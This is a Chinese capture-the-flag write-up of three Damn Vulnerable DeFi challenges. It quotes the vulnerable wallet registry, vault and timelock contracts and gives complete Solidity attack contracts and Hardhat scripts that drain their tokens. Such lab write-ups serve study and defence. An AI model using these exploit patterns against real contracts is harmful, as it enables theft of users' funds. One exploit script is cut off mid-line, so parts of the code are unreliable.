Damn Vulnerable DeFi靶场实战(11-13)

Backdoor

分析

题目要求:

To incentivize the creation of more secure wallets in their team,
someone has deployed a registry of Gnosis Safe wallets. When someone
in the team deploys and registers a wallet, they will earn 10 DVT
tokens.

To make sure everything is safe and sound, the registry tightly
integrates with the legitimate Gnosis Safe Proxy Factory, and has some
additional safety checks.

Currently there are four people registered as beneficiaries: Alice,
Bob, Charlie and David. The registry has 40 DVT tokens in balance to
be distributed among them.

Your goal is to take all funds from the registry. In a single
transaction.

大意是有一个Gnosis Safe的钱包注册表,有人部署或者注册钱包时,会获得十个DVT代币,目前有四个人注册了,注册表中有四十个DVT代币,我们需要获取这四十个代币。

WalletRegistry.sol合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";

/**
 * @title WalletRegistry
 * @notice A registry for Gnosis Safe wallets.
           When known beneficiaries deploy and register their wallets, the registry sends some Damn Valuable Tokens to the wallet.
 * @dev The registry has embedded verifications to ensure only legitimate Gnosis Safe wallets are stored.
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract WalletRegistry is IProxyCreationCallback, Ownable {
    
    
    
    uint256 private constant MAX_OWNERS = 1;
    uint256 private constant MAX_THRESHOLD = 1;
    uint256 private constant TOKEN_PAYMENT = 10 ether; // 10 * 10 ** 18
    
    address public immutable masterCopy;
    address public immutable walletFactory;
    IERC20 public immutable token;

    mapping (address => bool) public beneficiaries;

    // owner => wallet
    mapping (address => address) public wallets;

    constructor(
        address masterCopyAddress,
        address walletFactoryAddress, 
        address tokenAddress,
        address[] memory initialBeneficiaries
    ) {
    
    
        require(masterCopyAddress != address(0));
        require(walletFactoryAddress != address(0));

        masterCopy = masterCopyAddress;
        walletFactory = walletFactoryAddress;
        token = IERC20(tokenAddress);

        for (uint256 i = 0; i < initialBeneficiaries.length; i++) {
    
    
            addBeneficiary(initialBeneficiaries[i]);
        }
    }

    function addBeneficiary(address beneficiary) public onlyOwner {
    
    
        beneficiaries[beneficiary] = true;
    }

    function _removeBeneficiary(address beneficiary) private {
    
    
        beneficiaries[beneficiary] = false;
    }

    /**
     @notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback
             setting the registry's address as the callback.
     */
    function proxyCreated(
        GnosisSafeProxy proxy,
        address singleton,
        bytes calldata initializer,
        uint256
    ) external override {
    
    
        // Make sure we have enough DVT to pay
        require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");

        address payable walletAddress = payable(proxy);

        // Ensure correct factory and master copy
        require(msg.sender == walletFactory, "Caller must be factory");
        require(singleton == masterCopy, "Fake mastercopy used");
        
        // Ensure initial calldata was a call to `GnosisSafe::setup`
        require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");

        // Ensure wallet initialization is the expected
        require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
        require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");       

        // Ensure the owner is a registered beneficiary
        address 
        walletOwner = GnosisSafe(walletAddress).getOwners()[0];

        require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");

        // Remove owner as beneficiary
        _removeBeneficiary(walletOwner);

        // Register the wallet under the owner's address
        wallets[walletOwner] = walletAddress;

        // Pay tokens to the newly created wallet
        token.transfer(walletAddress, TOKEN_PAYMENT);        
    }
}

题目只给了这一个合约,合约中前两个函数分别是给address增加权限和删除权限,第三个函数就是我们要达到的目标,其中的限制条件非常多,我们来仔细分析一下这个函数。
在这里插入图片描述
首先require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");,确保合约拥有足够的token。
第二,require(msg.sender == walletFactory, "Caller must be factory");,调用者必须要是代理工厂合约。
第三,require(singleton == masterCopy, "Fake mastercopy used");,限制了传入的singleton必须是GnosisSafe,也就是钱包的逻辑合约。
第四, require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");,初始化的data必须是GnosisSafe的setup的函数选择器。
第五,require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");,起始值必须为1.
第六,require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners"); ,只能存在一个owner。
第七,require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");,合约的owner必须拥有beneficiary权限。

在完成以上七个限制条件后,就注册完成,并且合约会像注册者发送十个dvt代币,所以很明显能看出来我们要做的就是通过这些限制条件从而拿到代币。
在这里插入图片描述
他的题目完成要求需要其提供的四个用户都成功注册,并且都失去了beneficiary权限,且attacker的代币余额为四十个。所以,目的很明显,我们就是需要将四个用户都成功注册,并将他们得到的钱发送到attacker的账户当中。

首先,由于只有代理工厂合约能调用到proxyCreated函数,我们就先来看看对应的代理工厂合约。
代理工厂合约:

// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;

import "./GnosisSafeProxy.sol";
import "./IProxyCreationCallback.sol";

/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
    
    
    event ProxyCreation(GnosisSafeProxy proxy, address singleton);

    /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
    /// @param singleton Address of singleton contract.
    /// @param data Payload for message call sent to new proxy contract.
    function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
    
    
        proxy = new GnosisSafeProxy(singleton);
        if (data.length > 0)
            // solhint-disable-next-line no-inline-assembly
            assembly {
    
    
                if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
    
    
                    revert(0, 0)
                }
            }
        emit ProxyCreation(proxy, singleton);
    }

    /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
    function proxyRuntimeCode() public pure returns (bytes memory) {
    
    
        return type(GnosisSafeProxy).runtimeCode;
    }

    /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
    function proxyCreationCode() public pure returns (bytes memory) {
    
    
        return type(GnosisSafeProxy).creationCode;
    }

    /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
    ///      This method is only meant as an utility to be called from other methods
    /// @param _singleton Address of singleton contract.
    /// @param initializer Payload for message call sent to new proxy contract.
    /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
    function deployProxyWithNonce(
        address _singleton,
        bytes memory initializer,
        uint256 saltNonce
    ) internal returns (GnosisSafeProxy proxy) {
    
    
        // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
        bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
        bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
        // solhint-disable-next-line no-inline-assembly
        assembly {
    
    
            proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
        }
        require(address(proxy) != address(0), "Create2 call failed");
    }

    /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
    /// @param _singleton Address of singleton contract.
    /// @param initializer Payload for message call sent to new proxy contract.
    /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
    function createProxyWithNonce(
        address _singleton,
        bytes memory initializer,
        uint256 saltNonce
    ) public returns (GnosisSafeProxy proxy) {
    
    
        proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
        if (initializer.length > 0)
            // solhint-disable-next-line no-inline-assembly
            assembly {
    
    
                if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
    
    
                    revert(0, 0)
                }
            }
        emit ProxyCreation(proxy, _singleton);
    }

    /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
    /// @param _singleton Address of singleton contract.
    /// @param initializer Payload for message call sent to new proxy contract.
    /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
    /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
    function createProxyWithCallback(
        address _singleton,
        bytes memory initializer,
        uint256 saltNonce,
        IProxyCreationCallback callback
    ) public returns (GnosisSafeProxy proxy) {
    
    
        uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
        proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
        if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
    }

    /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
    ///      This method is only meant for address calculation purpose when you use an initializer that would revert,
    ///      therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
    /// @param _singleton Address of singleton contract.
    /// @param initializer Payload for message call sent to new proxy contract.
    /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
    function calculateCreateProxyWithNonceAddress(
        address _singleton,
        bytes calldata initializer,
        uint256 saltNonce
    ) external returns (GnosisSafeProxy proxy) {
    
    
        proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
        revert(string(abi.encodePacked(proxy)));
    }
}

读完合约可以发现,只有createProxyWithCallback函数能够调用到proxyCreated函数,其内部首先通过creat2创建了一个代理合约,且在创建途中根据传进去的initializer在代理合约中调用了响应的函数,由于上文的第四个require要求initializer的函数选择器需要是GnosisSafe的setup函数,故调用的肯定也是setup函数。

所以我们需要看看setup函数中的逻辑。
![在这里插入图片描述](https://img-blog.csdnimg.cn/471bee2988e949d5a6610926a1373024.png
可以看到setup函数中设定了owners和threshold,所以我们需要将这两个参数传入我们想要的值,并将to和data传入了另一个函数,我们依次进行分析。
在这里插入图片描述
首先到setupModules函数,函数调用了execute函数并传入了to,和data和一个DelegateCall的值,继续往下。
在这里插入图片描述
execute函数判断了传入的参数是否为DelegateCall,若是则进行delegatecall,不是则进行call。

还记得proxyCreated函数是怎么发钱的吗,代币发给了代理合约创建者,也就是四个提供给我们使用的用户,但我们仍需要将钱转移到attacker的账户中,所以这里的call和delegatecall可以好好利用一下

在合约创建结束和函数调用结束后,代理工厂合约就调用了proxyCreated函数,分析到这里,我们已经可以开始攻击了。

攻击

攻击合约:

// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";


import "../DamnValuableToken.sol";

contract AttackBackdoor {
    
    
    address public owner;
    address public factory;
    address public masterCopy;
    address public walletRegistry;
    address public token;

    constructor(
        address _owner,
        address _factory,
        address _masterCopy,
        address _walletRegistry,
        address _token
    ) {
    
    
        owner = _owner;
        factory = _factory;
        masterCopy = _masterCopy;
        walletRegistry = _walletRegistry;
        token = _token;
    }

    function setupToken(address _tokenAddress, address _attacker) external {
    
    
        DamnValuableToken(_tokenAddress).approve(_attacker, 10 ether);
    }

    
    function exploit(address[] memory users, bytes memory setupData) external {
    
    
        for (uint256 i = 0; i < users.length; i++) {
    
    
            address user = users[i];
            address[] memory victim = new address[](1);
            victim[0] = user;
            bytes memory initGnosis = abi.encodeWithSignature(
                "setup(address[],uint256,address,bytes,address,address,uint256,address)",
                victim,
                1,
                address(this),
                setupData,
                address(0),
                address(0),
                uint256(0),
                address(0)
            );

            GnosisSafeProxy newProxy = GnosisSafeProxyFactory(factory)
                .createProxyWithCallback(
                    masterCopy,
                    initGnosis,
                    123,
                    IProxyCreationCallback(walletRegistry)
                );

            DamnValuableToken(token).transferFrom(
                address(newProxy),
                owner,
                10 ether
            );
        }
    }
}

js调用代码:

it('Exploit', async function () {
    
    
        /** CODE YOUR EXPLOIT HERE */
        const attackModule = await (await ethers.getContractFactory("AttackBackdoor", attacker)).deploy(
            attacker.address,
            this.walletFactory.address,
            this.masterCopy.address,
            this.walletRegistry.address,
            this.token.address
        );
        const moduleABI = ["function setupToken(address _tokenAddress, address _attacker)"];
        const moduleIFace = new ethers.utils.Interface(moduleABI);
        const setupData = moduleIFace.encodeFunctionData("setupToken", [
            this.token.address, 
            attackModule.address
        ])
        await attackModule.exploit(users, setupData);

    });

经过上面的逐步分析,我们的思路已经变得很明确了,来分析如何通过七个require,第一个require只要不进行第五调用就能天然通过,而第二个只需要我们调用代理工厂合约即可,第三个我们传入GnosisSafe的合约地址即可。
随后将initializer构造成调用setup的字节数组,依次传入四个用户的地址,并将victim设置为1,以此来通过第4,5,6个require。

由于我们传入的分别是四个拥有权限的账户,所以第七个require也能够通过,代币则分别发送到了四个用户的钱包里面,但我们还需要将钱转移到我们自己的账户中,所以上面的execute函数我们可以好好利用,将setup函数参数中的to改成我们的地址,data构造成调用setupToken的地址,就可以在setup的时候分别同时让四个账户给我们token的approve,在钱包创建结束后,就可以直接进行transferFrom把钱转移到attaker的钱包中。
在这里插入图片描述
执行脚本,攻击完成。

Climber

分析

题目要求:

There’s a secure vault contract guarding 10 million DVT tokens. The
vault is upgradeable, following the UUPS pattern.

The owner of the vault, currently a timelock contract, can withdraw a
very limited amount of tokens every 15 days.

On the vault there’s an additional role with powers to sweep all
tokens in case of an emergency.

On the timelock, only an account with a “Proposer” role can schedule
actions that can be executed 1 hour later.

Your goal is to empty the vault.

大意是有一个金库合约拥有一千万个dvt代币,遵循着UUPS模式,他的所有者是一个时间锁合约,没十五天可以提供有限数量的代币,且金库上还有一个管理员角色,可以在紧急情况下扫描所有代币,时间锁内只有拥有“提议者”角色的账户才能安排一小时后执行想要的操作,而我们的目标就是清空保鲜库。
ClimberVault合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import "./ClimberTimelock.sol";

/**
 * @title ClimberVault
 * @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {
    
    

    uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
    uint256 public constant WAITING_PERIOD = 15 days;

    uint256 private _lastWithdrawalTimestamp;
    address private _sweeper;

    modifier onlySweeper() {
    
    
        require(msg.sender == _sweeper, "Caller must be sweeper");
        _;
    }

    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() initializer {
    
    }

    function initialize(address admin, address proposer, address sweeper) initializer external {
    
    
        // Initialize inheritance chain
        __Ownable_init();
        __UUPSUpgradeable_init();

        // Deploy timelock and transfer ownership to it
        transferOwnership(address(new ClimberTimelock(admin, proposer)));

        _setSweeper(sweeper);
        _setLastWithdrawal(block.timestamp);
        _lastWithdrawalTimestamp = block.timestamp;
    }

    // Allows the owner to send a limited amount of tokens to a recipient every now and then
    function withdraw(address tokenAddress, address recipient, uint256 amount) external onlyOwner {
    
    
        require(amount <= WITHDRAWAL_LIMIT, "Withdrawing too much");
        require(block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD, "Try later");
        
        _setLastWithdrawal(block.timestamp);

        IERC20 token = IERC20(tokenAddress);
        require(token.transfer(recipient, amount), "Transfer failed");
    }

    // Allows trusted sweeper account to retrieve any tokens
    function sweepFunds(address tokenAddress) external onlySweeper {
    
    
        IERC20 token = IERC20(tokenAddress);
        require(token.transfer(_sweeper, token.balanceOf(address(this))), "Transfer failed");
    }

    function getSweeper() external view returns (address) {
    
    
        return _sweeper;
    }

    function _setSweeper(address newSweeper) internal {
    
    
        _sweeper = newSweeper;
    }

    function getLastWithdrawalTimestamp() external view returns (uint256) {
    
    
        return _lastWithdrawalTimestamp;
    }

    function _setLastWithdrawal(uint256 timestamp) internal {
    
    
        _lastWithdrawalTimestamp = timestamp;
    }

    // By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
    function _authorizeUpgrade(address newImplementation) internal onlyOwner override {
    
    }
}

ClimerTimelock合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title ClimberTimelock
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ClimberTimelock is AccessControl {
    
    
    using Address for address;

    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");

    // Possible states for an operation in this timelock contract
    enum OperationState {
    
    
        Unknown,
        Scheduled,
        ReadyForExecution,
        Executed
    }

    // Operation data tracked in this contract
    struct Operation {
    
    
        uint64 readyAtTimestamp;   // timestamp at which the operation will be ready for execution
        bool known;         // whether the operation is registered in the timelock
        bool executed;      // whether the operation has been executed
    }

    // Operations are tracked by their bytes32 identifier
    mapping(bytes32 => Operation) public operations;

    uint64 public delay = 1 hours;

    constructor(
        address admin,
        address proposer
    ) {
    
    
        _setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
        _setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE);

        // deployer + self administration
        _setupRole(ADMIN_ROLE, admin);
        _setupRole(ADMIN_ROLE, address(this));

        _setupRole(PROPOSER_ROLE, proposer);
    }

    function getOperationState(bytes32 id) public view returns (OperationState) {
    
    
        Operation memory op = operations[id];
        
        if(op.executed) {
    
    
            return OperationState.Executed;
        } else if(op.readyAtTimestamp >= block.timestamp) {
    
    
            return OperationState.ReadyForExecution;
        } else if(op.readyAtTimestamp > 0) {
    
    
            return OperationState.Scheduled;
        } else {
    
    
            return OperationState.Unknown;
        }
    }

    function getOperationId(
        address[] calldata targets,
        uint256[] calldata values,
        bytes[] calldata dataElements,
        bytes32 salt
    ) public pure returns (bytes32) {
    
    
        return keccak256(abi.encode(targets, values, dataElements, salt));
    }

    function schedule(
        address[] calldata targets,
        uint256[] calldata values,
        bytes[] calldata dataElements,
        bytes32 salt
    ) external onlyRole(PROPOSER_ROLE) {
    
    
        require(targets.length > 0 && targets.length < 256);
        require(targets.length == values.length);
        require(targets.length == dataElements.length);

        bytes32 id = getOperationId(targets, values, dataElements, salt);
        require(getOperationState(id) == OperationState.Unknown, "Operation already known");
        
        operations[id].readyAtTimestamp = uint64(block.timestamp) + delay;
        operations[id].known = true;
    }

    /** Anyone can execute what has been scheduled via `schedule` */
    function execute(
        address[] calldata targets,
        uint256[] calldata values,
        bytes[] calldata dataElements,
        bytes32 salt
    ) external payable {
    
    
        require(targets.length > 0, "Must provide at least one target");
        require(targets.length == values.length);
        require(targets.length == dataElements.length);

        bytes32 id = getOperationId(targets, values, dataElements, salt);

        for (uint8 i = 0; i < targets.length; i++) {
    
    
            targets[i].functionCallWithValue(dataElements[i], values[i]);
        }
        
        require(getOperationState(id) == OperationState.ReadyForExecution);
        operations[id].executed = true;
    }

    function updateDelay(uint64 newDelay) external {
    
    
        require(msg.sender == address(this), "Caller must be timelock itself");
        require(newDelay <= 14 days, "Delay must be 14 days or less");
        delay = newDelay;
    }

    receive() external payable {
    
    }
}

既然我们需要拿到金库中的所有代币,我们就先来看看金库合约中是否有办法,很明显,只有withdraw能每次取一点钱,以及sweepFunds能够一次性取出全部钱,但这个函数限制了调用者只能是sweeper,因此我们可以想办法从这入手。

接着我们看看他的所有者,也就是timelock合约,前两个函数是功能函数,我们主要看看后面两个函数。
在这里插入图片描述
schedule函数目的是给要执行的操作给权限,将操作对应的readyAtTimestamp设定为了从现在开始的一小时内。
在这里插入图片描述
execute函数为执行提供的操作,我们注意到注释,这句话的意思是任何已经scheduled的人都可以调用这个函数,而我们发现这个函数中的逻辑实际上存在一些问题,他是先执行了操作,再来判断是否能够执行,不能则回退。

但是,我们如果在执行的操作中去schedule好像也是可以的。
在这里插入图片描述
回看构造函数我们发现,合约自己拥有PROPOSER_ROLE的管理员权限,因此我们可以简单的设定一个管理员权限,从而饶过限制。
分析到这里,逻辑就已经很明确了,可以开始编写攻击合约了。

攻击

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./ClimberVault.sol";
import "./ClimberTimelock.sol";


contract ClimberAttack is UUPSUpgradeable{
    
    
    ClimberTimelock immutable timelock;
    IERC20 immutable token;
    address immutable vaultProxyAddress;
    address immutable attacker;
    constructor(ClimberTimelock _timelock,IERC20 _token,address _vaultProxy,address _attacker){
    
    
        timelock = _timelock;
        token  = _token;
        vaultProxyAddress = _vaultProxy;
        attacker = _attacker;
    }

    function buildProposal()internal returns(address[]memory,uint256[]memory,bytes[]memory){
    
    
        address[] memory targets = new address[](4);
        uint256[] memory values = new uint256[](4);
        bytes[] memory dataElements = new bytes[](4);

        targets[0]=address(timelock);
        values[0]=0;
        dataElements[0] = abi.encodeWithSelector(
            AccessControl.grantRole.selector,
            timelock.PROPOSER_ROLE(),
            address(this)
        );

        targets[1]=address(this);
        values[1] = 0;
        dataElements[1]=abi.encodeWithSelector(
            ClimberAttack.scheduleProposal.selector
        );

        targets[2]=address(vaultProxyAddress);
        values[2]=0;
        dataElements[2]=abi.encodeWithSelector(
            UUPSUpgradeable.upgradeTo.selector,
            address(this)
        );

        targets[3]=address(vaultProxyAddress);
        values[3]=0;
        dataElements[3]=abi.encodeWithSelector(
            ClimberAttack.sweepFunds.selector
        );
        



        return (targets,values,dataElements);
    }
    function sweepFunds()external{
    
    
        token.transfer(attacker,token.balanceOf(address(this)));
    }
    function scheduleProposal()external{
    
    
        (
            address[] memory targets,
            uint256[] memory values,
            bytes[]   memory dataElements
        )=buildProposal();
        timelock.schedule(targets,values,dataElements,0);
    }

    function executeProposal()external{
    
    
        (
            address[] memory targets,
            uint256[] memory values,
            bytes[]   memory dataElements
        )=buildProposal();
        timelock.execute(targets,values,dataElements,0);
    }
    function _authorizeUpgrade(address newImplementation) internal override {
    
    }
}

js攻击脚本:

it('Exploit', async function () {
    
            
        /** CODE YOUR EXPLOIT HERE */
        const attack = await (await ethers.getContractFactory('ClimberAttack',attacker)).deploy(this.timelock.address,this.token.address,this.vault.address,attacker.address);
        await att

逻辑很明确,用一个函数来封装出每一步需要执行的函数和参数。
第一步,授予攻击合约proposal_role。
第二步,通过攻击合约来调用schedule,就能绕开后面的限制了。
第三步,通过代理合约进行升级,将金库合约的地址修改为我们攻击合约的地址。
第四步,通过代理合约调用目前逻辑合约(也就是我们的攻击合约)的sweepFunds合约,将代币都发送到attacker的账户中。
在这里插入图片描述
执行脚本,攻击完成

Safe miners

分析

题目要求:

Somebody has sent +2 million DVT tokens to
0x79658d35aB5c38B6b988C23D02e0410A380B8D5c. But the address is empty,
isn’t it?

To pass this challenge, you have to take all tokens out.

You may need to use prior knowledge, safely.

大意是有人把两百万的token转入了一个空地址,需要我们将这些token取回来。

我的第一反应是使用creat2,但是计算出对应的salt也需要很长时间,所以我在进行计算前尝试了蛮力法。

攻击

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Deploy {
    
    
    constructor(
        address attacker,
        IERC20 token,
        uint256 nonces
    ) {
    
    
        for (uint256 idx; idx < nonces; idx++) {
    
    
            new Transfer(attacker, token);
        }
    }
}

contract Transfer {
    
    
    constructor(
        address attacker,
        IERC20 token
    ) {
    
    
        uint256 balance = token.balanceOf(address(this));
        if (balance > 0) {
    
    
            token.transfer(attacker, balance);
        }
    }
}

js调用脚本:

it('Exploit', async function () {
    
    
        /** CODE YOUR EXPLOIT HERE */
        
        this.timeout(0);
    
        for (let nonce = 0; nonce < 100; nonce++) {
    
    
             await (await ethers.getContractFactory('Deploy', attacker)).deploy(attacker.address, this.token.address, 100);
        }
    });

逻辑很简单,进行一万次部署,如果合约部署到了那个地址,则会把余额给我们传回来,本来目的只是一试。

在这里插入图片描述

调用脚本,攻击完成。

猜你喜欢

转载自blog.csdn.net/m0_68764244/article/details/127788874